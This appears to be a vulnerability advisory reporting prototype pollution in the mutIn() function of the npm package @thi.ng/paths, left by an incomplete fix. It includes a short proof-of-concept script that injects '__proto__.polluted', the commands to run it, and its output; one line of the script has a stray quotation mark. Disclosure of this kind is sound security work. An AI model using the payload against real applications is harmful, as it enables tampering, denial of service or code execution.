vulnerability prototype pollution
severity 6.5
language typescript
registry npm


@thi.ng/paths is vulnerable to Prototype Pollution. The vulnerability is due to an incomplete fix. mutIn() function does not have fix implemented.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const paths = require('@thi.ng/paths')

console.log("Before: ", {}.polluted")
paths.mutIn({}, '__proto__.polluted', true)
console.log("After: ", {}.polluted)
  1. Execute the following commands in the terminal:
npm i @thi.ng/paths # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.